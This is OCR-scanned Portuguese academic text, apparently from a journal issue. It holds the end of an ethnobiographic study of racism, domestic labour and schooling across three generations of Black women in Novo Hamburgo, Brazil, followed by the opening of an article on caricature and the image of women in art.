de Dora, fruto de uma luta social, morada construida no terreno desta ultima, significa a trans-
mutacao da figura do “zé ninguém” aplicada as familias negras dos antigos arrabaldes e dos

“mocambos” das grandes cidades de “sobrados” (conforme expressoes de G. Freyre, 2003)

em “alguem” com direitos a cidade e aos seus territorios de trocas sociais.

Jussara e sua mae, Dora, reafirmam alguns apontamentos de Roberto Da Matta (1997)
sobre as categorias “casa” por oposicao a “rua” para o caso das formas como 0s grupos so-
ciais se apropriam 0s espacos geograficos das grandes cidades do Brasil, ou seja, a morada
adquire, segundo o autor, uma dimensao moral capaz de despertar emogoes especificas que
tendem a associar a casa ao direito a cidade, a ser alguém, ao exercicio da cidadania. E meio

a ritmica de apagamento da heranga étnico-racial e de classe que conformaram o antigo bairro

Africa, e na presenca das transformacdes na paisagem urbana na regido, o chalé dos Silva dos
Santos permanece no mesmo local ha 66 anos, reinterpretadas por Andressa, terceira geragao
de mulheres, num discurso emocionado, que revela seu engajamento pessoal em projetos

sociais contemporaneos de cunho étnico-racial:

Eu vejo aquela casa como um sindénimo de resisténcia. Dentre tantos prédios
chiques e luxuosos, ter aquele chalé ali, dizendo assim: ‘nos estamos aqui,
nds ndo vamos sair daqui tdo cedo’, pra mim, é totalmente emblematico, iss,
gracas a elas [méae e avo]. (Informagéo verbal: Andressa, 03/09/2015)

Com o passar do tempo, casas simples de alvenaria e antigas casas de madeirag de-
ram lugar a predios altos e luxuosos, dando uma nova cara ao entorno e se adaptando a

modernizagao. O bairro, que nos anos 1950, possuia apenas casas, perdeu seu sentido de




umario

comunidade étnica e de pertenca proletaria, em funcéo da reestruturacéo das residéncias nos

ultimos 60 anos. A reformulagao sofrida com o passar das décadas é expressa por Jussara:

A relagcdo aqui, a gente tinha uns vizinhos muito bons, que ajudavam. A gente
se confraternizava, era um... foi uma época muito boa. N&o tinha nada... To-
dos se conheciam se cumprimentavam. Eu nao sei se eram mais sociaveis,
mas tinham mais tempo, aqui eram casas, entao, eu acredito que onde tem
casas é mais facil das pessoas se relacionarem. Agora é so apartamentos e tu
n&o vé, ndo conhece aquela pessoa, tu SO vé aquela pessoa uma vez ou outra
e ¢ diferente de quando a gente... de antigamente, que tu via aquela pessoa
duas, trés vezes por dia [sic]. (Informacao verbal: Jussara, 24/07/2015).

Nos anos 1990, o bairro ja tinha um novo sentido e o periodo em que Andressa iniciou

0 convivio com os outros moradores ainda sofreu com esta elitizagdo que sua familia e morada

nao acompanharam:

Antes de eu entrar para a pré-escola, uma Maternal particular que ficava a
lado da minha casa. Entao, naquela época o bairro ja era... ja tinha um status
diferente porque todos eles [colegas] moravam nos apartamentos. Todos eles!
E ai tu ja comeca a notar um pouquinho, assim, que tu ndo podia brincar com
tal pessoa, [...] tu tinha um grupo seleto de amigos, um ou dois amigos ali
numa Maternal, sei la, com 30, 40 criangas que todos conviviam. (Informag&o
verbal: Andressa 03/09/2015)

Interessante observar que, através dos anos, num processo progressivo de “enobregi-
mento” do antigo bairro Africa, renomeado de Guarani, um fendmeno que acompanha inu
ras cidades brasileiras, conforme aponta Proenca Leite (2004) a regiéo passa a ser ocupada

por familias de camadas médias, majoritariamente brancas, fazendo com que as antigas ha-




bitacbes de madeira e suas formas de sociabilidade tdo caracteristicas de bairros populares
como as conversas no portao, as redes de vizinhanca e de solidariedade tao caracteristicas
das formas de ocupacao anteriores do bairro fossem substituidas por empreendimentos e con-
dominios residenciais. Com estas formas de ocupacgao residenciais de condominios e predios
de apartamentos, numa clara aluséao as metamorfoses das relagdes entre os grupos estabe-
lecidos (familias alemas) e os outsiders (familias negras) nessa regido da cidade de Novo
Hamburgo, novas producdes de regras para as trocas sociais entre as familias do bairro sao
criadas. Impde-se progressivamente novos rotulos para a vida comunitaria do bairro as quais
sdo diagnosticadas claramente por Jussara e Andressa, do que pela matriarca (mais apegada
a morada propriamente dita). Para Ultima geracdo de mulheres da familia Silva dos Santos, a
resisténcia da memoria negra no bairro impoe-se pela presenca persistente dessas trés gera-
coes de mulheres negras de uma mesma familia na regiao, ainda que nuangada por um claro
processo de ascensao social do grupo familiar e de uma carreira bem para sucedida de seus
membros em termos de escolarizacao e profissionalizacao.

Em particular, nos referimos, numa perspectiva transgeracional, as trajetorias sociais
dessas mulheres da segunda e terceira geracoes, que provocaram nos itinerarios urbanos
da familia Silva dos Santos uma ruptura com o paradigma da “heranca cultural” das posicoes
femininas subalternas da mulher negra (a empregada doméstica) no mercado de trabalho de
Novo Hamburgo. Fruto de um processo de mobilidade social provocado por uma aposta/no
processo de escolarizacao e profissionalizacao dos membros da familia, abarcando indif¢ren-
temente homens e mulheres, a trajetoria social de Jussara, do casamento ao descasamento, do

afastamento da casa materna ao seu retorno, a conduz a um afastamento do ethos patfiarcal
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de origem. Nesse contexto, a trajetoria social de Andressa se entrelaca com a de sua mae e
a de sua avo, dando continuidade, numa nova ordem social, ao um esforco das mulheres da
familia Silva dos Santos em consolidar o sucesso de uma trajetoria social de familias negras no
interior de um bairro em processo de enobrecimento.

Se observarmos os padroes de distribuicao territorial que essas trés geracoes de
mulheres adotam para a vida em familiar, isto €, um modelo residencial de proximidade fisica
e social nos moldes de uma familia de extensa, podemos, sem duvida, verificar que os Silva
dos Santos se afastam dos modelos dos enclaves fortificados adotados pelas elites e camadas
medias urbanas brancas. Entretanto, observada pelo angulo do estilo de vida e visao de mundo
que adotaram ao longo do tempo, da trajetéria social de Dora a de sua neta, Andressa, pode-
mos constatar que as mulheres negras da familia dos Silva dos Santos aproximam-se do ethos
de classe das mulheres brancas de camadas medias, intelectualizadas, com quem dividem

atualmente as fronteiras de suas residéncias.

Ao mencionarmos o tema da segregacao espacial para o caso dos estudos de género
em familias negras do Vale dos Sinos, estamos nos apoiando em inimeros estudos acerca do
mundo trabalho dentro das industrias do calgcado na regiao, os quais apontam para a massiya
participagao de homens negros dentro dos curtumes, em contraposicao a contratagao de ho-
mens e mulheres de outras origens étnico-raciais nas fabricas de calgcado era restrita (NUNES,
ROCHA, MAGALHAES e KUNH JUNIOR, 2013). Para muitas familias negras, o curtume era

a fonte de sustento, assim foi o caso do sogro de Dora, que trabalhou no curtume daf fami-




lia Adams (Curtume Hamburguez), em que atualmente se localiza o empreendimento Fortuno
Hamburgueria. Da mesma forma, foi o caso de seu falecido marido, Sr. Darco, que trabalhou
como tingidor durante 40 anos no curtume da familia Jaeger (A. Jaeger & Cia.), onde atualmen-

te se situa o Bourbon Shopping.

Tratava-se de um oficio passado de geracao em geracao, de pai para filho, entre as
familias negras que moravam em Novo Hamburgo, e da qual resultava uma comunidade de
trabalho particular, tendo a unidade domestica, a familia, como parte fundamento do processo
de formacao da mao de obra. Um oficio passado de pai para filho, através de geragdes. Obvia-
mente, uma comunidade de trabalho, com um recorte étnico-racial e de género singular, tendo
por base uma cidade que se construia como metropole a partir da industria coureiro-calgadista

e que orientava as ocupacoes de varzeas e banhados da regiao do Vale dos Sinos, dispondo

as formas de vida urbana para atender a estas fungdes econdmicas e sociais.
A referéncia a segregacao étnicorracial nas formas de consolidagao de uma civilizacao
urbana e industrial em Novo Hamburgo tem sido apontada, mais recentemente, nos estudos

de Nunes, Rocha, Magalhaes e Kuhn Junior (2013) e, nesta linha de argumentacéo, € que

mencionamos os relatos de Dora que evidenciam a desigualdade nas condigdes de vida entre
os trabalhadores da industria coureiro-calcadista de origem alema e os de origem africana nas

formas de ocupacao dos espagos urbanos da cidade:

S6 tinha o [Sport Club] Cruzeiro que a gente podia entrar, que era noss
tinha o Cruzeiro. A Ginastica era dos ricos. Os caboclos tinham a Socigdade
Palmeiras, que eram os brancos pobres, aqueles. Ndo sdo nem alem§|
branco brasileiro, chamavam caboclos[sic]. Nao podia entrar no Café|Paulo,
que era onde vendiam doces e tudo. No cinema n&o podia entrar negro} Numa

, sdo




loja que tinha la, o Cavasotto, la podia comprar, mas vendedoras ficavam
paradas assim na porta, ai quando chegava alguém que queria comprar tinha
que dizer ali, conforme a ‘pouquinha coisa’ que queria, mandavam a outra: ‘vai
tu, vai tu’. (Informacéo verbal: Darcy, 29/08/2015)

A divisédo da comunidade urbana de Novo Hamburgo por suas pertencas étnico-ra-
ciais se apresentava no interior das suas instituicoes religiosas, conforme nos relata novamente

Dora, a guardia das memérias da familia Silva dos Santos no antigo bairro Africa, atual Guarani:

Na igreja, era separado assim: cada fim de més tinha o apostolado. Quer
dizer, que era uma comunidade de familias que ganhava a comunhdo uma
vez por més. Os negros era assim, os caboclos era assim e 0s alemaes era
a primeira missa de manhé&, a primeira missa era so dos ricos, dos alem&es.
Uma vez por més, era do apostolado Nossa Senhora do Rosario, que era dos
negros. (Informag&o verbal: Darcy, 29/08/2015)

Um relato que € corroborado pelo testemunho de Jussara, uma geracao depois de
Dora, sobre as formas de ocupacgao urbana diferenciada entre as familias hamburgenses, se-

gundo seu perfil sociocultural e étnicorracial. Através de uma situacao pessoal, Jussara relata

uma das dificuldades que enfrentou, apos ser convidada a ser aceitar o convite para ser dire-
tora de uma creche, em Novo Hamburgo, nao com os colegas, mas com os pais das criangas

de quem era responsavel:

Eles [pais] tinham uma relutdncia em falar comigo. Eles iam... a minha sala
ficava perto da entrada, do portdo de entrada e a cozinha ficava num gutro,
mais adiante. Entao, o pessoal — ndo todos, ndo generalizando — mas algumas
mées passavam pela porta que eu estava e iam la na cozinha perguntdr para
tia da cozinha se a diretora estava no local [sic]. E isso que tinham




umario

e sabiam quem eu era, eles tinham me visto, mas era uma maneira de nao
aceitar que uma negra fosse diretora de uma creche.[...], que mandassem nos
filhos delas, terem que seguir as minhas regras, que eu passava. Eu me sentia
muito inferiorizada, muito magoada. (Informagéo verbal: Jussara, 24/07/2015)

A segunda geracéo tem convicgao de que a cor da sua pele foi um empecilho para

crescer na esfera do trabalho mesmo fazendo o possivel para se sobressair.

Ou tu fazia o Normal [Magistério] [...] ou se tu ndo quisesse estudar tu tinha
que trabalhar em casas de familia, né. E tu ndo tinha uma outra op¢do em uma
cidade pequena. Tu n&o tinha um trabalho. Numa loja, nem pensar, porque
nunca te contratariam, devido... por ser negro. Naquela época eles diziam
que a gente... ndo que n&o tinha competéncia, sO que n&o tinha a aparéncia.
(Informacéo verbal: Jussara, 24/07/2015)

Aliado a isso, relembra da escassez de funcionarios negros no periodo em que esteve

ativa em 6rgaos publicos:

E depois tive chances de ter cargos, de ter algum FG [Fungdo Gratificada],
mas iSSo eu nunca consegui, apesar de, as vezes, eu ser a unica pessoa con-

cursada, ser a pessoa que tinha capacidade, que conhecia todo o trabalho.
Mas nunca conseguir ter um cargo. E se forem prestar atencdo, forem fazer um
levantamento, de ‘78, ‘79 até o ano 2000, mais ou menos, da pra contar quan-
tos negros tinham nessa empresa. (Informagé&o verbal: Jussara, 24/07/2015).

Com a oportunidade de ingressar no ensino superior, as oportunidades para a tercgira
geracao aumentam, no entanto, nao evita que o racismo no mercado de trabalho aconteca.
Desde a Aboligao da Escravatura, percebe-se que a sociedade, a cada €poca, vem crjando

obstaculos sutis (NEPOMUCENO, 2013) para excluir o negro dos mais diversos espacos. Com




0 surgimento de leis que impedem e punem a discriminagao racial, a sociedade brasileira a
aderir ao racismo velado ou disfarcado, dando continuidade ao mito da democracia racial. Esta
seletividade racial (NEPOMUCENO, 2013) se perpetua até os dias de hoje, como comprova as

fala de Andressa:

Atualmente, com esse padréo de beleza europeu, agora, também [...] acres-
centaram os tragos também: o nariz fino, entraram outros itens, assim, né,
principalmente... Porque eu ja ouvi de uma ex-colega de trabalho: ‘nossa, mas
se ndo fosse o teu nariz e o teu cabelo, bah, tu ja tinha passado por branca.’
Como se eu quisesse [risos]. (Informac¢&o verbal: Andressa, 03/09/2015)

Sob o ponto de vista dos estudos de género e de narrativa etnobiograficas sobre o

mundo do trabalho, a segregacao espacial de familias negras pertencentes as classes traba-

Ihadoras urbanas de Novo Hamburgo, nossos estudos vem confirmar o que € mencionado por
Vo Nair, filha e neta de ex-escravas, benzedeira e por muito tempo empregada doméstica na
casas de importantes familias das elites locais nascida, em 1918, na regido do Vale dos Sinos,

e interlocutora da pesquisa M. Nunes, M. Magalhades e A. L. Rocha (2013). Em entrevista con-

cedida as pesquisadoras, Vo Nair comenta o passado escravo de sua mae, Sade Hoffman, que
amamentou trés ex-prefeitos de Novo Hamburgo/RS durante a infancia, reproduzindo mais uma
atribuicao da mulher negra durante a escravidao, a ama-de-leite.

Vo Nair, filha e neta de escravas, em sua trajetoria social rompe parcialmente co
“heranca familiar” de género legada por sua mae e avo entre as familias alemas de Novo Ham-
burgo, atuando ao longo de sua como empregada, governanta e ama-de-leite. Uma sityagéo

que pode ser interpretada a luz do processo civilizacional que atinge as formas de regulagao




do mundo do trabalho na sociedade brasileira ao longo do século XX, onde se passa da con-
dicao de inexisténcia da regularizacdo formal dos vinculos de trabalho feminino no ambito
do emprego domeéstico, a presenca insidiosa da estrutura patriarcal das familias das mais
diversas origens étnicorraciais que tendem a nao promover 0 processo de escolarizacéo e pro-
fissionalizacao das mulheres, em particular, no caso das familias negras onde a condigao de
vida feminina ainda persevera os estigmas da escravidao ao associar a mao de obra feminina
ao trabalho doméstico.

O ingresso de Dora e, uma geracao depois, o de Jussara no mercado de trabalho pela
via do servico domeéstico se deu ndo apenas em razao da disseminacao do estigma associado
ao papel da mulher negra “escrava” de dentro e fora de casa na construcéo social da vida
urbana e industrial de Novo Hamburgo, atuando como sustentacao da estrutura social das
familias alemas, do ethos e da visao de mundo vinculada pela industria coureiro-calcadista em
Novo Hamburgo.

Nas entrevistas realizadas com Dora sobre sua trajetdria social no mundo do trabalho
no contexto de Novo Hamburgo, ela fala sobre sua vida como doméstica durante os 15 anos
que trabalhou na casa da familia de descendéncia alema, a partir do final da década de 1930:

Ah, escrava, bem dizer. Eles tinham a casa de material, e tinham o banheiro n
rua que era pra empregada, fora da... assim, que nem essa area ali, assim,/e
era da empregada. Ali tomava banho, tinha o chuveiro. Eles tinham um deftro
de casa, um banheiro pra eles, tinha o chuveiro tudo dentro de casa... alf era
um puxadinho e ali tinha o banheiro da empregada. Bota comida na mesa pra
eles, eles sentam la na mesa, come. Depois que eles tao prontos, ai tira &s coi-

sas da mesa e come na cozinha. Al 0 que sobrou la na mesa come na c¢zinha.
Al lava louga, limpa a cozinha toda. (Informagéo verbal: Darcy, 29/08/2015)




Empregadas domésticas acompanhando as familias em que trabalhavam durante o

Veréo, na praia de Tramandai/RS em 1946. Darcy é a terceira da esquerda para direita.

Fonte: Acervo Pessoal.

Entretanto, as estorias sobre o destino de mulheres negras no
mundo do trabalho de Novo Hamburgo nao se reduz a esta situacao
de discriminagdo que opunha empregados e patrdes, numa pers-
pectiva em que a condicao de género nado é apresentada para refle-
xao. Assim €& que podemos constatar que o trabalho das mulheres,
negras ou nao, das elites ou das camadas mais pobres tambéem po-
dem ser compreendido em fungéo do sistema de valores e de prati-
cas sociais patriarcais hegemoénicos que consolidaram a divisao so-
cial dos papeéis sexuais e de género no interior nas familias
hamburguenses.

Durante a entrevista, Dora, ao ser confrontada com uma foto-
grafia de seus ex-patroes pondera que, por ter nascido, afortunada-
mente apds trinta e cinco anos a declaracdo da Lei Aurea, ela ndo
recebeu no exercicio de seus trabalhos domésticos castigos fisicos
por parte das familias onde trabalhou. Por compor o cenario no qual
se desenhava o estilo de vida das familias das elites locais, em sua

maioria de origem germanica, Dora tinha acesso a alguns poucos

beneficios que outras mulheres negras, empregadas de familigs
menos abastadas nao usufruiam. Entretanto, isto nao a impedi
nutrir, em suas recordagoes desta época, sentimentos de tristeza por
sua condicao no interior destas familias, e que as aproximava, em

alguma medida, a condi¢ao de subalternidade de suas patro




Dora, entao, dialoga assim com a ambiguidade dos
sentimentos que suas lembrancas do passado de empregada

domeéstica entre as familias das elites locais |he despertam:

So tristeza de me lembrar de como a gente
sofria de... de empregada. Néo, até que
eles me tratavam que nem gente. Quer di-
zer, ndo podia sentar na mesa com eles,
essas coisas... mas eles ia pra praia, eu ia
no carro deles pra praia [sic]. Eles iam to-
dos anos, ia pra praia e... minha roupa, en-
tdo, o dinheiro que eu ganhava ndo dava
pra comprar assim, ela comprava as rou-
pas pra mim, ela costurava, as vezes fazia.
(Informacéo verbal: Darcy, 29/08/2015).

Os relatos de Vo Nair, apresentado por Nunes, Maga-
Ihdes e Rocha (2013), como os obtidos ao longo da pesquisa

com as trajetorias sociais de trés geracoes de mulheres negras

da familia Silva dos Santos, alinham-se aos comentarios San-

2 ches (2009) acerca das raizes patriarcais e escravocratas do
ormatura do Magistério no Colégio Dom Pedro Il, em agosto de 1974, Novo Hamburgo/RS.
Jussara € a Unica negra de sua turma. servico domestico, condicionando as trajetorias de mulheres
Fonte: Acervo Pessoal
principalmente negras e pobres, no mundo do trabalho

grandes centros metropolitanos do Brasil a uma tripla invisj

Conforme o estudo “O Emprego domeéstico no Brasil”, realizado pelo dade quanto a0 género A core ao OfI’CiO1

Departamento Intersindical de Estatistica e Estudos Socioeconémicos, em 2013,

entre 2004 e 2011, a proporgao de mulheres negras ocupadas nos servicos
domeésticos no pais cresceu de 56,9% para 61,0%, enquanto entre as mulheres

nao negras houve uma reducao de 4,1%



0 LUGAR DA
SCOLARIZACAO NO
PROTAGONISMO DAS
MULHERES NEGRAS

Darcy estudou até o quarto ano do ensino fundamental, no Colégio Sdo Joao, e seu
marido até o terceiro para poder ajudar suas respectivas familias. O desejo do casal era que
os filhos tivessem uma vida melhor e a priorizagao da educacgao foi a saida encontrada para
0 surgimento de novas oportunidades. A rigidez do pai fez com que ela decorasse as licoes
e tivesse um futuro diferente, pois sua mae era analfabeta. Aperfeicoou a lingua germanica e
foi trabalhar como domestica, Unica profissao que desempenhou. Na época, este trabalho era
muito comum na época e condicionado as mulheres negras. Dora fala com orgulho da educa-

¢ao que recebeu e dos singelos prémios:

Foi a unica que eu tive. Foi boa! Néo, fui bem, porque, entdo, a gente tinha
que tomar a ligdo, ia tomar nos bancos, sentado nos bancos, tinha... Entéo,
a minha professora botava eu tomar a ligdo das criancas [sic]. Era boa aluna,
ganhava prémio, sempre ganhava, ai, fim do ano dava prémio, ai, eles davam,
era um... era um cartdo, assim, que era um presépio, a gente abria ele, assim,
era um presépio, sai pra fora. Sempre tirei primeiro lugar.” (Informacé&o verbal:
Darcy, 29/08/2015).

Dora e Dargo nao puderam concretizar todos os seus sonhos pessoais, mas fizeram

de tudo para que os filhos alcancassem seus proprios. Como diz Nepomuceno (2013, p. 390),

“o incentivo para que as mogas negras procurassem se instruir visava também romper com o
lugar estigmatizado e subalterno ocupado por elas no mercado de trabalho”, mesmo que, n
anos 1960, fossem poucas as oportunidades para a mulher negra. Ela iniciou no mundo/do
trabalho aos 15 anos limpando casas da vizinhanga, assim, como sua mae. Porém, paralelo
a isso, manteve os estudos e conquistou o diploma no curso técnico em couro e calcado na

Escola do Servico Nacional de Aprendizagem Industrial do Rio Grande do Sul (Senai/RS) e,




posteriormente, a conclusao do Magisteério, em 1974. Mesmo se casando dois anos antes, nao
abandonou os estudos. As conquistas educacionais de Jussara a levaram para outros espa-

cos, de acordo com sua formagao, durante as trés décadas como contratada pela Prefeitura

de Novo Hamburgo até se aposentar em 2011.
Durante os anos, além no local de trabalho, Jussara conta que sofreu com o racismo por
parte de colegas. Esta parte triste de sua vida a alavancou para que conquistasse cada vez

mais, ao mesmo tempo em que impediu sua ascensao:

Eu acho que foi por ndo aceitarem que eu soubesse mais, que eu tivesse
capacidade. Que eu teria que so praquilo [sic] que eu fui contratada sem ter
chance de mostrar se eu era capaz de fazer outra coisa ou nao [...] Pra mim,
foi um empurrdo, porque néo desisti, apesar de, ndo desisti. Numa turma, num
colégio, que mais de — eram cinco turmas de 20 — mais de 100 de pessoas
que fizeram esse segundo grau [magistério] comigo, so eu de negra. [...] Mas
me impulsionei, porque a tendéncia seria: quando eu necessitei trabalhar,
por n&o ter experiéncia, de ir pra uma casa de familia. Mas ndo! Fui trabalhar
num setor, dei a volta por cima, trabalhei 30 anos no mesmo lugar, na mesma
empresa, nunca fui advertida ou chamada atencao [...] No fundo, se eu for
pensar, eu tenho que agradecer. (Informag¢é&o verbal: Jussara, 24/07/2015)

Jussara comegou trabalhando em casas de familia, mas como se profissionalizou teve
um destino diferente de seus pais. Tendo consciéncia disso, priorizou a educacao dos seus
viu trés dos quatro filhos encaminhados para o ensino superior. No entanto, a trajetoria escofar
da filha mais jovem tambeém foi marcada pelo racismo. Andressa relembra que a discriminggao

foi presenca constante nos periodos de estudo:




Até na escola, assim, uma forma, a minha defesa na escola, aléem de ser
sempre a melhor — isso eu mantive até o primeiro semestre da faculdade [...]
Mas até o final do ensino fundamental, o médio — que eu fiz em outro colégio,
fui pra um colégio estadual — ah, mas eu tinha que ser sempre a melhor. [...]
Como eu posso transformar a minha excluséo numa inclusdo se eles ndo me
querem? Sendo a mais inteligente na sala! Isso foi até o final do ensino médio.
Uma forma de aproximacao. (Informag&o verbal: Andressa, 03/09/2015)

Dentro do ambiente escolar, os episodios de racismo impediram o crescimento pessoal
e profissional das personagens. Logo, a autoestima dessas mulheres foi afetada, prejudicando
sua sociabilizagdo. Mas constata-se que a priorizacao da educagao foi o rompimento de um
estigma para os Silva dos Santos e uma valvula de escape para as adversidades diarias. A

ansia por uma vida melhor para seus descentes, através dela, se tornou um lema para a familia

e para muitas outras Brasil a fora, ajudando a mudar destinos.
Conforme dados divulgados em 2015 pelo Instituto Brasileiro de Geografia e Estatistica
(IBGE), nos ultimos 10 anos, o numero de negros e pardos em Universidades triplicou, pas-

sando de 16,7% em 2004 para 45,5% em 2014. Mas a batalha ainda é longa. De acordo com

o censo de 2010 do IBGE, na cidade de Novo Hamburgo, que possui 238.940 residentes, tem
problemas em relacao a alfabetizacao negra. Dos 22.169 habitantes autodeclarados pretos e
pardos, 12.108 sao alfabetizados. O que evidencia uma exclusao social e cultural e uma distor;

¢ao no conceito de cidadania e democracia.



CONCLUSOES
ARCIAIS: O RACISMO,
A SOCIEDADE
PATRIARCALE O
FEMINISMO NEGRO
NO VALE DOS SINOS

Seja no interior dos bairros onde viviam, seja no seio das familias em que trabalhavam,
ou ainda, no coragao daquelas familias matriarcais que formaram através do casamento, pode-
mos destacar que as primeiras geracdes das mulheres negras que viveram e construiram com
suas trajetorias de trabalho a cidade Novo Hamburgo construiram alguns espacos importantes
de lutas e resisténcias aos padroes impostos pela divisao dos papéis sexuais e de género
disseminados pela sociedade patriarcal e escravista brasileira, e com a qual dialogaram as
familias dos imigrantes alemées que se localizaram no Sul do Brasil.

Podemos observar esta luta em prol da metamorfose da figura da mulher negra no
mundo do trabalho em Novo Hamburgo presente no interior dos relatos etnobiograficos de
trés geracoes de mulheres da familia Silva dos Santos: Dora, Jussara e Andressa. Ao agrupar
os relatos destas protagonistas segundo seus processos de rupturas e continuidades com o
legado de uma sociedade patriarcal e escravista no ambito do Vale dos Sinos, em presenca
do processo de implantagao de uma civilizagao urbana-industrial e da disseminagao do ideario
de igualdade, cidadania e justica caracteristicos dos postulados do individualismo moderno,
destacamos uma dinamica cultural importante na direcédo de uma luta a favor da historia de
lutas das mulheres negras e do seu empoderamento no contexto metropolitano hamburgense
tendo em vista que com seu trabalho ajudaram a construir a vida urbana local.

Na situacao de Darcy, a uniao com Darco |he deu uma nova perspectiva de vida. Ja
Jussara, vinha de uma geragao na qual se desencadeavam mudancas. Na década de 1
a criacao da pilula e a revolucao sexual feminina foram dando novas perspectivas para ¢stas

jovens, mas na cidade gaucha em questao, o patriarcalismo exercia poder sobre as menjinas:




umario

Né&o era uma coisa tao importante, na época, pra mulher. Agora, ndo. Agora,
eu sei que, ndo que o meu trabalho seria mais importante que a minha familia,
mas eu acho que eu faria muita coisa, muita coisa que eu néo fiz, eu faria.
la trabalhar, ia ter continuar os estudos, néo ia... ia ser bem diferente, ia fa-
zer um... ia ter uma profissdo diferente, acho... (Informagao verbal: Jussara,
24/07/2015)

Em uma sociedade patriarcal, principalmente da época de Jussara, fica claro que as
imposicoes da familia sobrepunham suas proprias vontades, como o matrimonio e a abdicacao

da carreira:

Fui fazer um estagio no Colégio Sagrado Coracdo de Jesus [...] e dali fui
convidada a ficar, a permanecer como professora, apos o meu estagio, mas
com o empréstimo, a venda do meu marido [para outro clube], eu abdiquei
desse cargo. [...] Naquela época — quero deixar bem [claro]- naquela época,
o natural era: a mulher ja ta trabalhando ou ta estudando, casar e seguir o
marido pra onde ele for. Essa era a lei natural das coisas ha 40 anos atras
[sic]. (Informacéo verbal: Jussara, 24/07/2015)

Apos a retomada ao mercado de trabalho, ela sentiu o racismo velado ou disfarcado e

a dificuldade de ascender nestes espacos. O depoimento de Jussara acerca das imposicoes
do projeto familiar, expressa na figura do pai, para o exercicio de sua profissao no mundo do
trabalho em detrimento de seu projeto individual e pessoal € paradigmatico do que estamo
abordando aqui:

Naquela época, a gente seguia muito do que o pai da gente mandava,|[esta-

belecia, entdo, como a vida era muito... tudo era proibido, tudo era feiqg, tudo
era... ndo podia fazer. (Informagéo verbal: Jussara, 24/07/2015)



Pela busca da igualdade de oportunidades, as mulheres da familia ja incitavam uma
espécie de feminismo dentro da cidade, mesmo que sutil e ndo assumido. A situagdo enqua-
dra-se dentro do feminismo negro, movimento que busca igualdade entre 0s sexos e etnias.
Em depoimento, a terceira geracao reconhece a luta da mae e da avo, fazendo com que se
assuma feminista e um posicionamento politico contra a discriminacao racial, valorizando a
historia das antepassadas, o que da origem a uma ideia de feminismo negro transgeracional.
Inicialmente, este tipo de movimento surgiu de maneira involuntaria, porém necessaria. Atraves
do incentivo ao estudo, os descendentes foram empoderados e fortalecidos:

Me sinto desconfortavel por ser a Unica negra, muitas vezes, mas a minha idéia
€ que isso nao acontecga € enegrecendo o lugar, fazendo com que as pessoas
negras ocupem mais. Eu acho interessante que a entrevista da minha vo foi feita
na casa dela, a entrevista com a minha mée a casa dela e a minha eu estou
fazendo na Universidade. E eu acho isso muito emblematico. Eu acho isso bem

forte pra mostrar que a gente esta aqui, que a gente existe e que a gente néo
pode ser minoria pra sempre.” (Informacéo verbal: Andressa, 03/09/2015)

Diante da histéria, a mulher negra € a protagonista ignorada da construgcao de uma
nacao, mesmo tendo uma importante participacao, simplesmente, a retirando da senzala su-
pondo que ela s6 pode ir a cozinha a copa (NEPOMUCENO, 2013). Devido a heranca da
colonizagdo e miscigenacao: a estereotipizacao da sociedade que a endeusa no Carnaval
a transfigura em doméstica durante o restante do ano (GONZALEZ, 1984), a sociedade na
coloca em posicoes de prestigio social e profissional, aliado a isso esta o sexismo, fator/que

influencia a vida das mulheres, principalmente negras, até hoje.




Nestes termos, consideramos como contraponto ao protagonismo da figura do imigran-
te alemao que se destaca nos relatos fundacionais da construcao de Novo Hamburgo, o estudo
das memorias das suas populacdes negras acerca do mundo do trabalho no seu contexto me-
tropolitano, atribuindo destaque as experiéncias racismo e exclusao social vividos pela mulher
afrodescendente nesse universo social. Destacamos, em particular, as taticas e astucias (DE
CERTEAU, 1994) empregadas por um grupo de mulheres negras, pertencentes a familia Silva
dos Santos, para superacao de tais condigdes discriminatorias na sua vida cotidiana a partir
da construcao de um projeto familiar transgeracional de ascenséo social, e onde se revela o

processo de escolarizacao e profissionalizagdo de seus membros.
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0 presente artigo trata de uma investigacdo na drea da producao artistica, abordando
questoes da imagem feminina presentes em diversos meios de comunicacao. Para este
trabalho, foi realizada uma série de caricaturas por meio da repeticao do rosto de uma
modelo, sobre o qual foram feitas interferéncias com diferentes recursos graficos e pictd-
ricos, questionando padroes de comportamento e conceitos culturais em relacdo @ mulher
na sociedade atual. O estudo apresenta referenciais artisticos e tedricos que fundamen-
tam o processo de criacao e a pesquisa em arte.

Palavras-chave: Arte. Mulher. Padrdes. Sociedade.

BSTRAC

The present article is about an investigation in the artistical production area, and appro-
aches matters regarding feminine image present in several media. For this work, there
has been produced a series of caricatures by means of the repetition of a model’s face
on which there were made interferences with different graphics and pictorial resources,
questioning behavior patterns and cultural concepts that regard women in nowadays so-
ciety. The study presents artistic and theoretical references as background for the creative
process, and the art research.

Keywords: Art. Woman. Patterns. Society.




INTRODUCAO

A importancia do estudo da relagao entre a mulher e a sociedade ganhou notoriedade a
partir da década 60 do século XX. Nesse contexto, no circuito da arte, artistas mulheres ocupa-
ram um maior espaco e expuseram suas obras e trabalhos como um manifesto que denunciava
0 machismo intrinseco a sociedade, 0 sexismo e a repressao ao sexo feminino, além de critica
da representagao dos corpos e da auséncia da Mulher na historia da arte e seu circuito — ja
que, embora fosse o corpo feminino o que era representado nas obras de arte ao longos dos
seculos, esse era retratado, constantemente, a partir de um olhar masculino.

E, ao falar sobre o olhar masculino sobre o corpo feminino dentro da arte, a historiadora
Lynda Nead (1998) relata que, no século XIX, a exposicdo da nudez feminina, nas artes, fun-
cionou como uma maneira de controlar e determinar a sexualidade e os comportamentos das

mulheres, pois a apresentagao da nudez feminina reduziu o corpo da mulher a um mero objeto,

dentre outros, a ser contemplado em meio a imagem criada. Kenneth Clark (2006) analisa,
também, a maneira como as imagens artisticas foram uma forma de representacao — e contri-
buiram na criagcao — de uma mulher extremamente disciplinada e controlada.

Com a Segunda Onda do feminismo no século XX, as mulheres comecaram a questio-

nar seu espaco dentro das areas do conhecimento humano. Na arte, o objetivo das artistas que
participaram efetivamente do movimento em prol de sua representagao e voz, era desconstruir
uma cultura opressiva e machista da qual faziam parte, enfrentando muitas barreiras no prg-
prio campo artistico, este dominado por homens. Nayara Matos Barreto (2013) ressalta q
movimento das artistas feministas efetivou, sim, modificacoes e trouxe novas perspectivas jpara
as formas de representar o corpo feminino dentro da arte, porém, ndo pode ser visto conjo um

movimento fechado.



O estopim do movimento feminista no século XX e o que ele desencadeou, tanto na arte
quanto na vida cotidiana, ofereceu as pessoas — aquelas ligadas a arte assim como ao publico
geral — a possibilidade de questionar as normas sociais e morais vigentes naquela época em

